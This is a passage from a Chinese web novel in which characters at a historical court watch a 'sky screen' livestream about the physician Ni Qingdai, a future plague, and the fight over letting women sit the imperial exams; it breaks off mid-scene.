而盛昭帝则是走到凌戈面前,嘴角含笑地说道:“你今儿来得正巧,我这边安寿宫的梅花这几天生得极好,我本来还想让魏平挑几支送去你那边,谁曾想你自己先过来了。” 凌戈听到盛昭帝这话,脸上随即也露出笑容:“难怪我刚才进安寿宫时,魏公公和我夸这院里的梅花开得旺盛,原来是有这么一层含义在。” 魏平这时也笑着开口道:“陛下,主子爷想着要给您惊喜呢,奴才可不敢跟您提前泄了密,只能小小的抛砖引玉一下。” 见凌戈没有提起何安福,好像何安福出现在这里,是很正常的事情似的,众人也便表现得跟没看到何安福一样。 而何安福也是头垂得很低,不敢与凌戈发生任何目光上的接触。 凌戈的突然到来,实在令他有些措手不及。 他知道凌戈肯定会收到他进宫来面见盛昭帝的消息,但他没想到的是,他竟然会在盛昭帝这边碰到凌戈。 而事实上,凌戈早在刚才碰到魏平时,就已经从魏平那里得知了何安福跑来找盛昭帝告他状的事情。 不过,凌戈其实并没将这事放在心上。 他在颁布允许女子参加科考这一政策之前,心中便已经预料到了何安福等人会有如此激烈的反对情绪。 当然,何安福这些人肯定也早已料到,他会推出这条政策来,只是不确定何时而已。 天幕的出现,确实阻止了许多悲剧的发生,但也带来了很多蝴蝶效应。 “孟雪姝”当初能够在朝堂上向他上奏,建议允许女子参加科举,那是因为她在“盛武帝”起家打天下的过程中,贡献颇多,威望甚高。 光是从“赵之翎”和“温容”在天幕上展现出的细枝末节,就可以看出他们两位对于“孟皇后”极其敬佩。 但现在的情况,却是与那个时候大不相同。 凌戈相信以孟雪姝的能力,她依然能创造出一个闪耀的未来,可长城不是一日建成的,这中间肯定也需要漫长的时间。 而科举改革这件事,宜早不宜迟。 如果继续往后面推,反而只会让何安福他们这些反对派心中的侥幸一天比一天多。 待到那时,何安福他们组织起来的反弹,肯定也会比现在更加剧烈许多。 所以,他选择在登基初始的现在,以快刀斩乱麻的速度,直接将这政策给推行下去,就是为了让何安福他们这些人看清楚他对此事“青山遮不住,毕竟东流去”的坚定决心。* 而事实也正如他之前所预期的那样,虽然何安福等人还是在朝堂上强烈反对这事,但民间绝大多数百姓因为之前天幕的剧透,所以对这事感到惊讶的同时,又觉得是意料之中。 光靠何安福他们这些朝臣和那些反对的士子,自然在民间掀不起什么大风浪来。 凌戈已经看清形势,知道何安福他们这些反对者如今不过是在徒劳的挣扎,所以才对何安福采取了漠然置之的态度。 …… 宫内,凌戈望向盛昭帝,问道: “我刚才听魏公公说,您感到身体不舒服,所以才让魏公公去唤倪院正过来是吗?” 虽然魏平说盛昭帝应该只是为了赶走何安福,所以才故意装病,但凌戈到底是为人子,既然见到盛昭帝传唤太医,他怎么也该问两句才是。 盛昭帝其实近几年来,一直都容易感到头痛,不过这阵子大概是无事一身轻,所以他头疼的症状也跟着好转了许多。 他望向凌戈说道:“都是老人家常有的毛病罢了,不妨事的,你不必担忧。” 凌戈:“我看,还是先让倪院正给您把下平安脉吧,听听他怎么说。” 听到凌戈这样说,盛昭帝自然也不会拒绝。 他坐回到刚才起身的榻上,好方便倪院正对他进行诊治。 倪厚朴对盛昭帝把了一下脉后,虽然察觉盛昭帝的情况比从前好上了许多,但想到自己刚才在路上默默听到的那些事情,他心思转了一番后,旋即沉声道: “圣上从前劳神过度,日后仍需静心养身,敛神养气,如此方可固护元神,祛病延年!” 盛昭帝本就无心与凌戈争权夺势,因此听到倪院正这番叮嘱后,直接就点头应道: “我知道了,倪院正,你就放心吧。老夫如今也没什么烦心扰神的事情。” 听到盛昭帝这个答复,一直闷闷杵在那里的何安福,心中顿时更是一阵受挫。 他明白自己今天这一趟进宫,纯属是白折腾了一番。 而就在这时,一个宫女快步走进了宫内,朝凌戈和盛昭帝等人禀告道,说天幕又重新出现在了空中。 听到宫女这话,盛昭帝和凌戈等人脸上瞬间都闪过了一抹诧异。 原先,许三九的直播频率基本是一周一次。 但在过去的两周内,许三九的天幕却并没有再出现过。 凌戈和盛昭帝等人都以为,会不会是因为凌戈已经登基,所以这天幕从此便消失了。 但现在,既然天幕又重新出现,那显然事情就不是如他们之前所猜测的那样。 因为天空此刻正白雪飘飘,所以凌戈和盛昭帝他们走出宫殿后,并没有下到院子中,而是就站在长廊上。 当许三九的身影出现在天幕上时,凌戈等人立刻便发现,许三九的样貌比从前消瘦了一些。 不过,她的眼睛依然炯炯有神,她笑着朝镜头打了个招呼: 【宝子们,三九我和流感厮杀了一番后,又重新满血回来啦!】 【虽然这两周我请了病假,但三九我作为劳模代表,可没有闲下来哦!】 【而且,因为这次的流感,三九我脑中还突然产生了一个灵感】 【嘿嘿嘿,宝子们应该已经猜到了吧!】 【没错,三九我这一期要来探讨的人物,就是咱们的医仙倪青黛!】 听到“倪青黛”这个名字,凌戈和盛昭帝等人瞬间目光都望向了倪厚朴这个须发皆白、清瘦似竹的太医院院正身上。 作者有话说: 【引用出自辛弃疾的《菩萨蛮?书江西造口壁》】 第55章 直播6:庆幸生为女儿身…… “倪院正,这个倪青黛医仙该不会是你家的子孙吧?” 盛昭帝率先朝倪厚朴问出了此刻众人心中唯一的想法。 倪厚朴面对盛昭帝的询问,他轻轻点了点头,温声答道: “启禀太上皇,微臣确实有一孙女,名为倪青黛,但微臣无法确定,是否只是碰巧同名同姓。” 盛昭帝摆摆手:“那肯定就是你孙女没跑了!这满京师里,谁不知道你们倪家是杏林世家?这大盛朝,我就从来没听说过有第二个医术精湛的倪家。” 而就在盛昭帝话音刚落下的这一刻,众人就又听到许三九在天幕上说道: 【相信对医仙有所了解的宝子,应该都知道,咱们倪青黛医仙出身于太医世家,祖上几代人,都是给皇家当太医】 【因为这样的家庭情况,倪青黛医仙自小就与各种药材打交道,甚至连启蒙识字,都是背的汤药方子】 【倪医仙的祖父倪厚朴生前是太医院的院正,他每逢休沐日,都会将家中所有子嗣召集到一处,然后开班教授和分享自己毕生的医学经验】 【倪家子嗣颇丰,但在每次倪厚朴授课时,倪青黛医仙永远都会成为课堂上最亮眼的那个崽。因为在家中其他人面对爷爷的询问战战兢兢时,倪医仙却已经能与祖父侃侃而谈,甚至聊得有来有回】 【倪厚朴生前在与友人通信时,甚至曾在书信中向友人炫耀,说自己有个孙女在医术上的悟性特别高,禀赋聪敏,经常是一点就通,甚至还能举一反三】 【因为倪医仙在医学上的天赋实在是过于惊艳,以至于倪厚朴曾经还替孙女惋惜过,说可惜孙女不是生在男儿身】 【然而,倪医仙对此的反应,却是出乎了她家中所有人的预料】 【她直接反驳自家祖父,说自己反而庆幸是生为女儿身,这样的话,她的一身医术也就能更好地帮到那些需要治疗的女子了】 许三九说到这,忍不住叹了口气,望向镜头说道: 【宝子们,咱们今天如果想要看病,直接在网上预约挂个号,然后就能过去医院,甚至还可以直接网上远程问诊,但古代的女子想要看病,却并不是那么方便的事情】 【望闻问切是中医的核心诊断手段,但在注重男女大防的古代时期,男医者在面对女性病人时,却经常会遇到很多不便】 【而很多女性在碰到不便对男医者直言的疾病时,也习惯性会选择用忍耐的态度】 【按理说,在这种情况下,女医本该受到广泛欢迎才对,但又有很多腐儒,觉得女子抛头露脸是伤风败俗之举,所以女医在这种两头堵的情况下,数量自然是极为稀缺】 【倪医仙正是看到了女子求医的艰难,才会对自己的性别感到庆幸】 天幕下,凌戈这时突然开了口,语气不怒不喜:“腐儒这个词用得好,表面道貌岸然,实则心胸狭隘,嫉贤妒能,确实是迂腐之极。” 凌戈没有点名说是谁,但在场的人此刻心中都很清楚。 而被凌戈这么一说,何安福心中自然更是羞恼不已。 因为他今天早上才刚在朝堂上,以“女子不宜抛头露脸”为筏子,向凌戈陈述了一番他反对女子参与科举的理由。 …… 【为了不让自己的所学医术沦为花架子,同时也为了锻炼自己的医术,倪医仙年少时,经常会瞒着家人,悄悄溜到外面替各式各样的病人进行义诊】 【当时上层社会对女子的要求是“大门不出,二门不迈”,倪医仙家中虽只是太医,但到底也算是官宦世家】 【对于倪医仙时常偷溜到外面行医的这个行为,她的父母亲自然都很不赞同,觉得会影响到女子的闺阁名誉】 【所以,每次倪医仙义诊回家,只要被她父母亲发现,她通常都得挨上一顿责骂】 【倪医仙那个“医痴”的外号,也正是出自倪医仙的父亲口中】 京师,倪府。 倪母这时没好气地瞪了一眼倪父,“都怪你,这医仙听着多好听啊,你给叫什么‘医痴’呀?” 倪父一脸委屈,替自己喊冤道:“夫人,我这会都还没这么说呢,怎么能怪到我的头上来?再说了,夫人,你刚才不是还说咱们今天必须得重罚青黛这丫头,让她长长记性吗?怎么这会子又帮着她说话起来了?” 倪母一听倪父竟然还敢反驳自己,顿时就气呼呼地道: “你这说的什么话呀?青黛可是我的亲女儿,我这个当母亲的,帮着她说话怎么了?” 倪父:“……” 看到倪父一脸憋屈但又说不出话来的模样,倪青黛不由噗嗤一声笑了出来。 而她在笑过之后,甚至还特意抬手拉了拉母亲的胳膊,撒娇说道:“娘,我就知道,还是你对女儿好!” 倪青黛的这番行为,自然更是把倪父给委屈得不行。 他忍不住开口替自己辩驳道:“丫头,今天你跑出去给人看病这事,可是你娘先来找我说的!要不是她来跟我说,我都不知道这事!而且,也是她先怂恿的我,说让我来给你来个瓮中捉鳖!我只是把你说成医痴,她还把你说成了鳖呢!” 倪青黛闻言,便笑着抬手轻轻拍了拍倪父的肩膀: “爹,好啦,你也别委屈了。我知道你和娘都是为我好,我也不是自己一个人出去的,还有季连洲他陪着我一起呢!” 听到季连洲这个名字,倪父下意识就哼了一声,直接吐槽道:“你哪一次不是和季连洲这小子一起去的?” 倪青黛和倪父口中的季连洲,就住在倪家隔壁。 季家也是中医世家,但主要是在京师经营药铺。 两家从祖上便相识,一直来往得也比较频繁,所以倪青黛和季连洲便成了关系很要好的青梅竹马。 倪青黛每次偷溜出去行医,都是有季连洲帮着她在外面打配合。 …… 【为了行医方便,倪医仙在年少时,每次出去义诊,都会将自己女扮男装,只有碰到女病患,需要查看女病患身体上的病伤处时,她才会与女病患坦陈自己的真实性别】 【而与那些古偶剧女主,在女扮男装时习惯扮成年轻公子哥的举措不同,倪医仙每次在女扮男装时,都是另辟蹊径,将自己扮成了一个白发苍苍的老头子】 【根据倪医仙晚年的自述,她扮老爷子的形象,还是参考的她祖父倪厚朴】 天幕下,倪厚朴听到许三九这句话,嘴角不禁微微往上扬了起来。 他之前就已经发现孙女在偷偷观察他模样的事情了。 【可能有宝子会对倪医仙假扮老头子的行为有点不理解,但大家仔细回想一下,网上每次盘点越老越吃香的职业时,医生是不是永远都会名列前茅】 【在古代时候,老百姓对于治病救人的大夫,也同样是有着越老越厉害的这种想法】 【倪医仙就是为了提高病人对自己的信心,所以才特意扮成了老头子形象】 【而根据她的说法,她这招也确实非常有效,因为在她几次义诊之后,京师的穷苦百姓里,开始流传起一个老神医的存在】 【倪医仙一开始并不知道这个老神医是谁,还和自己的竹马季连洲商量道,说不知道能不能找到这个老神医交流一番,但等从季连洲口中得知,这个老神医就是她自己后,倪医仙简直就笑翻了】 季家,听到季连洲被许三九提及,季连洲他爹瞬间一脸高兴地拍了拍季连洲的肩膀,说道: “不错,连州你可比爹出息多了,竟然还能在天幕上被提到。” 季连洲一脸无奈:“爹,我这算什么出息呀,真正厉害的人是青黛!” 季母这时也忍不住赞同地点了点头:“咱爹生前还在那会,就夸青黛这丫头医术了得,以后必成大才,现在看来,他还真没说错。” 【在鲁王宫变之前,倪青黛医仙日常生活中想的事情基本很纯粹简单,除了医术外,还是医术】 【但在鲁王宫变以后,鲁王不敢让天下人知道盛昭帝是被自己亲手所杀,所以他就将盛昭帝的死,都甩到了当时负责医治盛昭帝的倪厚朴身上】 【鲁王表示说是因为倪厚朴医治不力,这才导致了盛昭帝病亡,因此便下令诛杀倪厚朴及其所有家眷】 【倪家人被带走处刑时,倪青黛医仙正好和她竹马季连洲又偷溜出去义诊,因此这才逃过了一劫】 【虽然三九前面说倪青黛医仙每次偷跑出去义诊后,都会被她父母责备,但事实上,倪医仙和她父母的关系极其要好,她的父母实际上很是宠爱她,不然也不至于纵容她溜出去那么多次】 【所以,对于自己一夕之间家破人亡的这件事,倪青黛医仙自然是悲痛到肝肠寸断】 【难以接受现实的她,甚至还曾经试图寻短见,想要下去陪伴家人,好在被她竹马季连洲及时发现,这才将她给抢救了回来】 “哎哟!” 突然被母亲狠狠敲了下额头,倪青黛瞬间发出了一声惨叫。 而她父亲站在旁边却是一脸赞同:“夫人,敲得好,就该给这臭丫头长点记性!” 面对母亲和父亲带着怒意的表情,倪青黛瘪了瘪嘴,不敢开口替自己争辩。 【在季连洲的不断劝慰下,倪青黛医仙好不容易才提起了继续生活的勇气】 【因为倪医仙当时的身份已经不能见光,被鲁王判为了通缉犯,所以季连洲在和她商量过后,便前往了当时盛武帝所在的西北边关】 【一路上,因为怕被人认出来,所以倪医仙还是将自己扮成了老头的模样】 【她和季连洲决定到了边关后,便开个小医馆来赖以为生】 【然而,她和季连洲的医馆刚开张一天,她和季连洲就被盛武帝给请到了府中】 第56章 直播6:阴阳错位,是故…… 京师,倪家。 倪青黛一脸诧异:“不至于这么快就露馅吧?我的伪装到了外面,可是至今都没一个人能识破!” 倪青黛每次和季连洲出去外面义诊时,那些看到他们俩的人,都会直接将他们俩人认为是爷孙。 倪青黛甚至还碰到过不少人,对她夸说季连洲这个孙子对她这个“爷爷”真孝顺。 而倪父对于女儿的这番话,却是不赞同。 他在看过前面那几次天幕以后,如今对凌戈是心服口服,敬佩至极。 他朝女儿倪青黛说道:“当今圣上非常人也,又岂能以常理度之?” 倪青黛一听,又觉得父亲的话确实是有些道理。 她好奇地望向天幕,想知道后面会是什么发展。 【当时,盛武帝还没有因为鲁王的昏聩无能、暴虐无道而揭竿起义】 【所以,倪青黛医仙和她的竹马季连洲便以为是不是自己的身份泄露了,所以盛武帝要来帮着鲁王将他们逮捕回京师】 【然而,当他们面见到盛武帝时,盛武帝提出的请求,却是出乎了他们原先的预料】 【原来,西北边军一直存在医疗资源匮乏的情况,虽然盛武帝已经努力从民间重金招揽医生,同时也在军队内部进行基础的医疗培训,但这还是无法满足军队里的巨大医疗需求】 【史书上说盛武帝爱兵如子,就是因为盛武帝确实是将底下将士们的生命放在心中,而并不是将他们视为用完即扔的一次性耗材】 【在盛武帝采取那些增加医疗资源的措施之前,受伤将士的生存率是六死一生,但在这之后,便提升为了四死一生】 【将士们对这样的改善,都已经心满意足,可盛武帝本人却并不满意,所以他私下便让人在各地调查和接触那些医术精湛的杏林世家】 【倪医仙的家族,作为太医世家,自然也早就进入了盛武帝的眼中】 【但因为路途耽误且发生了意外的缘故,所以等盛武帝收到下属送来的情报时,倪青黛医仙都已经和她竹马季连洲把医馆给开起来了】 【盛武帝在见到倪青黛医仙时,便直接道破了她的身份,然后询问她是否愿意到自己的军队里面担当军医】 【盛武帝早就在之前的情报中,了解过倪医仙在京师里义诊的情况,知道她的医术实际上不比她祖父倪厚朴差多少】 【倪青黛医仙一开始听到盛武帝知道自己是倪家人时,还吓了一跳,以为自己和季连洲命不久矣】 【等得知盛武帝竟然是邀请自己当军医后,她没有半点犹豫,立刻就拉着季连洲答应了下来。因为她和季连洲虽然刚到西北没多久,但却已经从西北民间的百姓口中,了解到盛武帝在西北一带的威望有多高】 【倪青黛医仙认为,只要盛武帝肯保下她和季连洲,那就算鲁王从京师派了钦差过来,想要缉捕她和季连洲回京,那也属于是痴人说梦话,绝不可能成功的事情】 【而盛武帝随后说出的话,更是让倪青黛医仙彻底信服了盛武帝】 【倪医仙在面见盛武帝时,依然是作老头子装扮,盛武帝注意到这一点后,便朝倪医仙表示道,说如果倪医仙想的话,她可以大大方方地展露出自己的真容来,不需要有任何忌惮】 【三九我个人觉得,盛武帝的这个表态,一方面是可以看出他当时在西北确实已经是无冕之王,另一方面,则可以看出他非常重视倪医仙这个医学大才,所以才会连这么细枝末节的事情都考虑到】 【而事实证明,在知人善任这方面,我们确实可以永远地相信盛武帝男神的眼光!】 许三九说到这,脸上都不由自主地出现了灿烂的笑容: 【倪医仙在带着她竹马季连洲一起加入盛武帝的麾下后,没过两年,西北边军的伤亡率,就从原来的四死一生慢慢变为了四死三生】 【倪医仙她除了为西北边军培养出了一大批擅长处理刀箭伤害的军医外,她本人还特意研制了一款成本低廉但见效奇快的止血药,大大降低了军队的医疗财政负担和伤员死亡率】 【原来因为倪医仙是女儿身而瞧不起她的那些西北将士,后来在看到倪医仙时,态度都变得很是谦卑恭敬,大家都打心底里感谢倪医仙对西北边军做出的贡献!】 【等到盛武帝登基以后,倪青黛医仙自然更是自当之无愧地成为了太医院的新院正】 天幕下,皇宫里。 盛昭帝望向倪厚朴,笑着说道:“倪院正,老夫在这就先提前恭喜你一声了。一门双院正,可见你们倪家确实是家风优良呀!” 倪厚朴此刻心中也为孙女感到很是骄傲,但听到盛昭帝贺喜的话后,他还是急忙谦虚了一番。 凌戈等到他和盛昭帝说完话后,才插嘴朝他说道: “倪院正,既然连天幕都如此盛赞倪姑娘,那不如等你今天回到家后,询问倪姑娘一番,看看她是否愿意每周到太医院向诸位太医旁观学习三天,其余时间任由她自己个人安排。” 听到凌戈让孙女奉旨到太医院学习,倪厚朴知道孙女那个医痴自然不会拒绝这样好的事情,于是当即就帮孙女答应了下来。 凌戈见倪厚朴帮倪青黛应下,也不觉得意外,毕竟太医院终究汇集了整个大盛医术最顶尖的那批医生。 而凌戈之所以想让倪青黛去太医院奉旨进修,也是因为他此刻心中有了个想法。 不过,他觉得自己这想法目前尚未成熟,后续还需要再思考一番。 倪家这边,倪青黛尚且还不知道自己即将迎来奉旨到太医院学习这样的天大好事。 听到许三九说自己成为了院正,倪青黛脸上瞬间露出了灿烂的笑容,高兴地朝倪父和倪母说道: “爹、娘,你们听到了吗?我竟然成了和爷爷一样的院正呢?!” 倪父和倪母此刻也是满脸笑意。 倪母:“真是列祖列宗保佑,让你这傻丫头遇到了盛武帝这样的明君!” 倪父闻言,也忍不住点头如捣蒜。 他身为男子,更知道这世界对女子的偏见和歧视有多深。 盛武帝能够在功成名就之后,没有将他女儿当作弃子,直接赶回后院,而是让他女儿依然能够在自己热爱的事业上发光发热,纵观历史的诸多朝代,这显然是很难得的一个行为。 【倪医仙在成为院正以后,还和陪伴她多年的竹马季连洲成了婚】 【他们摆喜宴的当天,盛武帝和孟皇后还亲自到场,为他们夫妻进行证婚】 【事业爱情双丰收,相信很多宝子听到这里,都会觉得这是一个已经到HE尾声的故事】 【但现实永远都不是个有句号的故事,晏安三年发生在春夏的那场大疠疫,虽然成就了倪青黛“医仙”的这个称号,但也同样是倪医仙人生中的重大转折】 晏安三年? 大疠疫? 这两个关键词,瞬间让此刻正在看天幕的人,都不由变了面色,甚至有人瞬间吓得面色苍白如纸。 因为凌戈在登基以后,他就将自己的年号定为了晏安,取自河清海晏、国泰民安之意。 而疠疫这个词,如果拆分开来,无论是哪个字,都代表着不祥的意思。 疠,恶疾也;疫,病流行也。* 现在将这两个字结合起来,由此可见,这场传染病的症状极其严重。 更别提,许三九还将其称之为是“大疠疫”。 想到过去那些年里曾经发生过的一场场瘟疫,众人纷纷面色惊惧地看向天幕,想知道更多关于这场晏安三年“大疠疫”的消息。 天幕上,许三九此刻脸上的表情也不复刚才的轻松,而是变得很是凝重: 【晏安三年的这场疠疫,因为没有在咱们的历史教科书上出现过,所以很多宝子乍一听,可能会感觉有些陌生】 【但事实上,在悠悠历史长河中,这场疠疫改变了很多的事情,对盛武帝的统治也产生了许多重要的影响】 【三九我先来提提这场大疠疫对盛武帝和孟皇后这对帝后夫妻的影响】 【在前面介绍孟皇后的视频中,三九我曾经说过,孟皇后为了让女子能够参加科考,仅凭一人之力,便与反对者在朝堂上进行了三场激烈的辩论】 【但即使孟皇后获得了三战三捷的胜果,那些反对派却依然对女子参加科举这事采取了强烈的抵制态度】 【于是,当京师突然出现日全食,并且引起民众惊慌时,那群反对派瞬间就觉得自己可以将这件事作为攻击盛武帝和孟皇后的政治武器】 【他们纷纷向盛武帝上书,表示说之所以出现“天谴”,乃是上天在警示大盛,盛武帝应该躬身自省,拨乱反正】 【虽然因为孟皇后的缘故,他们不敢在奏折中明说,但朝堂上众臣都知道,这些奏折看似是只提及盛武帝,但实际是要求盛武帝收拢孟皇后手中的权力,让孟皇后回归到后宫之中】 【咱们的盛武帝大大自然不可能搭理那些蠢货,他直接就让钦天监的天文官上朝,告诉那些反对派,说日全食不过是正常的自然现象】 【除此之外,他还让史官列举了历朝历代,那些虽然发生了日全食但却风调雨顺的记录】 【眼见用日全食这招拿盛武帝没办法,正当那些反对派打算偃旗息鼓时,京师附近的直沽城,却骤然爆发了传染性极强,且致死性极高的疫病】 【而且,这疫病还很快传到了京师的郊外,一副随时就要蔓延进京师的模样】 【在这本该团结一致、集思广益对付疠疫的时刻,那群反对派却是又将心思放在了政治斗争上面】 【“阴阳错位,有违天命,鬼神震怒,是故降疫”,这句话迅速就在京师流传了开来】 【对于今天的我们而言,听到这种话,肯定会觉得很可笑】 【毕竟科学已经验证了,日全食不过就是个正常的自然规律。很多人在碰到日全食时,甚至还会感觉很兴奋,觉得难得一见,应该发个朋友圈纪念一下。而关于瘟疫,大家也都知道这其实是因为感染病毒才会引起的传染病】 【但对于当时深陷恐慌之中的古代老百姓而言,他们正处于人心惶惶的状态,所以对于谣言,通常都是抱着宁可信其有,不可信其无的态度】 【出于对瘟疫和死亡的恐惧,他们很快就将矛头对准了盛武帝允许女子参加科举的这条政策,觉得都怪这条政策,才会导致天狗食日,瘟疫肆虐】 作者有话说: 【1出自《说文解字》,2出自《字林》】 第57章 直播6:都怪你们这些妖…… 天幕下,皇宫里。 何安福这个礼部尚书在许三九说出那句“阴阳错位,有违天命,鬼神震怒,是故降疫”时,额头上就已经冒出了豆大的汗珠。 凌戈瞥了他一眼,看到他那副心虚到瑟瑟发抖的模样后,直接轻哼了一声,但却并没有急着说什么,而是望向了空中的天幕。 【那群反对派以为自己煽动起“民意”,便可以逼迫盛武帝让步,取消允许女子参与科举这个政策】 【然而,他们着实是低估了盛武帝的决心,同时也不知道“枪杆子里出政权”这句话的含金量有多高】 【虽然盛武帝延续了大盛这个国号,但事实上,整个天下可都是盛武帝他带着将士们打下来的】 【那群只知道玩笔杆子的政客,根本不知道盛武帝他在军队里的个人威望有多高】 【所以,虽然看似“民意”群情汹涌,但军队里实际却是平静如水】 【盛武帝随后更是直接一声令下,宣布京师进行三日戒严,在这三天内,严禁任何居民外出,同时让军队对进出京师的各条道路进行交通管制,如无通行公文者,均不准进出京师】 【盛武帝的这个举措之严厉,自然是大大超出了那群反对派的预期】 【然而,盛武帝之所以这样做,其实与那谣言并没有太大的关系】 【他实际的真正出发点是治疫、防疫】 【他颁布圣旨,规定无论是上到达官贵族,还是下到市井小民,所有人家都必须接受军队挨家挨户的检查】 【而这一检查,京师里更是人人自危,因为军队竟然从不少人家的家中,搜查出了感染疫病的人,甚至有的人都已经停尸在家中数日,只是还未下葬】 【所有被查出有感染症状的人,都被紧急送往了盛武帝让部队在京西加急布置出来的那一片疫区中,进行隔离医治】 【根据大盛朝的医书记载,这些感染疠疫的人,其症状一般先是上吐下泻,随后便是手足麻木,再就是眼睛发红似兔眼,同时双眼感受到剧烈的灼痛感,随后这种灼痛感会蔓延全身,病人会感觉自己好似浑身被火烧灼,痛苦不堪,最后便像是烧尽了寿命一样,油尽灯枯,迅速猝死】 【从发病到死亡,这中间的时间最快是三天,最慢也不过是七天】 【而这个能撑到七天的病人,正巧就是盛武帝他的义父霍英大元帅】 “爹!” “嚎什么嚎!”霍英踹了一脚二儿子霍青川,“你爹我又不是耳朵不好使,差点都被你给震聋了!” 霍青川一脸委屈:“爹,我刚才那也是一时情绪激动,所以才下意识喊了一声。” 霍青川本来还很高兴父亲重返西北边关,他们父子接下来又能一起在战场上携手杀敌。 但他怎么都没想到,自己和父亲时隔这么长时间重新见到的第一面,自己竟然就听到了父亲的“死讯”。 而霍英虽然率领西北边军,从京师一路风尘仆仆地赶到边关,但他此刻依然精神奕奕,颇有一种老骥伏枥,志在千里的雄心壮志之感。 霍英一脸从容淡定:“既然三九姑娘今天在天幕上提及这事,那圣上日后肯定就会有所预防。有圣上在,你这小子大可以放一百个心!” 霍青川一听,想到凌戈从前的种种表现,顿时也心安了不少:“爹,你说得是,凌戈那小子他……哎哟!” 霍青川被霍英又踹了一脚,惨叫了一声。 霍英施施然收回腿后,见霍青川还一脸疑惑不解地望向自己,他忍不住狠狠瞪了一眼霍青川,低声呵斥道: “我这个当义父的,现在都没好意思对圣上直呼其名,你这个区区义兄,难不成还想造次不成?” 霍青川闻言,这才想起凌戈如今都已经当上皇帝了,他瞬间不好意思地摸了摸后脑勺: “我这不是已经说习惯嘴了嘛。” “说习惯就给我改,下次再让我听到你喊圣上什么小子,我踹死你这个混不吝!” 霍英不希望霍家的任何人,因为自己和从前凌戈相识的缘故,就忘记了对凌戈应有的尊重之意。 而皇宫之内,此刻凌戈和盛昭帝等人,也都因为许三九刚才说的话,而面露沉重。 无论是许三九刚才说的疠疫症状,还是许三九提到的霍英,这些都让大家感到心头像是骤然压了一块巨石。 盛昭帝原来对霍英很是忌惮,但如今,他心中却是对霍英放松了许多。 于是,他在此刻甚至还朝倪厚朴说道:“倪院正,你待会回太医院后,拟一份养身滋补的药材清单,有缺的稀罕药物,就直接找魏平要。等你们把那些药材都准备好后,我让人送去西北给忠勇侯调养下身体。” 倪厚朴和魏平听到盛昭帝这个吩咐,都急忙应声称是。 天幕上,许三九在继续说道: 【相信熟悉盛武帝生平的人,肯定都知道,盛武帝和他义父忠勇侯霍英的感情极其深厚】 【所以,对于霍英的死,盛武帝自然是悲痛欲绝,但当时的复杂形势,事情却是一桩紧接着一桩,上苍仿佛连一分钟悲伤的时间都不打算留给盛武帝】 【因为科普知识的普遍传播,咱们大家今天都知道,在感染了传染病之后,尸体必须得用火化方式处理才行】 【但对那个时候的古人而言,无论生前贫穷或富贵,“入土为安”才是绝对的主流思想】 【所以,盛武帝希望将死亡患者遗体进行焚烧处理的方式,自然是引发了不少冲突】 【但当大家看到盛武帝竟然以身作则,连他义父霍英的遗体也采用了火化方式时,民间的抵抗情绪自然而然就消解了下来】 【因为盛武帝的铁血手段,所以虽然死了数千余人,但京师内的疫情却是在半个月内就被迅速扑灭了下去】 【按理来说,既然取得了如此巨大的成果,当时京师内所有劫后余生的人都应该感到欣喜才对,但大家的心却依然高兴不起来】 【这其中,除了有那些死亡患者的因素外,更多是因为大家都知道,京师之外的郊区,如今才是疠疫的重灾之地】 【当时,赵之翎将军已经率军队到京师郊外,开始建立隔离区和救治区】 【但朝堂上关于要派哪位医官作为郊外疫区的医疗队总负责人,却起了冲突】 【盛武帝属意的人选是倪青黛医仙,但另外一派却希望任命太医院的副院正】 【而那一派支持副院正的原因也很简单,那就是因为那位副院正的性别为男。他们认为那个“阴阳错位,以致生疫”的谣言如今肯定已经传到了京郊,若是派倪青黛当医疗队总负责人,很可能会给本就形势复杂的疫区再添一把火】 【事实上,如果不是因为倪青黛医仙的医术确实有口皆碑,那群人甚至都不想让倪青黛医仙进入疫区】 【如果是其他贪生怕死的人,在看到这个情况后,肯定会心中暗自欢喜,但对于倪青黛医仙而言,她更希望的是自己能够做到帮助病人祛病消灾】 【所以,她在朝堂上直接表示,只要能让她跟着去到郊外的疫区,她并不介意自己给副院正当副手】 【因为当时的时间实在紧迫,所以盛武帝听到倪医仙这般表态后,也只能将那位副院正钦点为总负责人】 天幕下,倪家。 倪青黛听到许三九这番话,却是半点不带恼意,反而是赞同地点了点头,朝倪母和倪父说道: “还是咱们圣上心里有百姓,知道郊区的那些病人根本没时间让朝堂上再继续争吵了。” 倪母闻言,也轻点下颌,目露认可地说道:“救人如救火,那些名利头衔不过都是虚无缥缈的东西,关键是得能救回老百姓的生命才行。” 【三九我虽然很讨厌那帮支持副院正的反对派,但不得不承认,他们当时在朝堂上的担忧确实不无道理】 【因为倪医仙在进到郊外的疫区后,确实是遭受了很多病人的排挤】 【出于对死亡的惊惧,很多病人因此对那个“阴阳错位,以致生疫”的谣言深信不疑】 【在这种情况下,当他们看到医疗团队里竟然有个女医官时,更是直接就将仇恨都转移到了倪医仙的身上】 【很多病人在倪医仙打算对他们进行诊治时,竟然对倪医仙破口大骂,将其骂为妖女,并且还说都是倪医仙这些妖女,才给他们带来了这些灾祸】 第58章 直播6:你还觉得你配得…… 草原上,东桀部落。 东桀大王子加尔顿听到许三九说那些病患骂倪青黛为妖女时,瞬间幸灾乐祸地哈哈大笑。 加尔顿帐下的女奴死亡率向来居高不下,甚至比他爹东桀单于的还高,由此就可以看出加尔顿这人对女子的态度有多血腥残忍。 但许三九之前在天幕上介绍陆诗薇时,让加尔顿在天幕上丢了好大一个脸,所以加尔顿如今对大盛的女子更是越发充满了怨恨。 他一想到那么多人都目睹了陆诗薇在天幕上甩刀伤到他,而且他竟然窝囊到没办法回击的画面,他就气得恨不能将陆诗薇给碎尸万段。 但奈何如今大盛各处边关戒备森严,他又不敢亲自潜入大盛,所以他便只好将心中积压着的怒火,都迁到同为大盛女子的倪青黛头上。 加尔顿语气中充满阴狠的恶意:“那群大盛人实在是过于愚蠢懦弱,骂那妖女几句算什么本事?我要是大盛人,我就直接把那个妖女也给感染了,让她也来受受那疠疫的折磨!” 加尔顿的这番话,瞬间引起了他身后随从的吹嘘附和。 而正当加尔顿为自己的这个计谋而感到志得意满时,他却注意到坐在他对面的格巴竟然悄悄翻了个白眼。 “砰”的一声,加尔顿重重拍了下自己面前的案几。 随后,见格巴这个东桀三王子朝自己这边望过来,他更是直接大声质问道: “格巴,你难道对我刚才说的话有意见吗?你该不会是想站在大盛妖女的那一边吧?” 在格巴的眼中,大哥加尔顿就是个四肢发达但却头脑简单的蠢货。 因此,面对加尔顿的质问,格巴丝毫不怵,甚至轻蔑地冷笑了一声,朝加尔顿反问道: 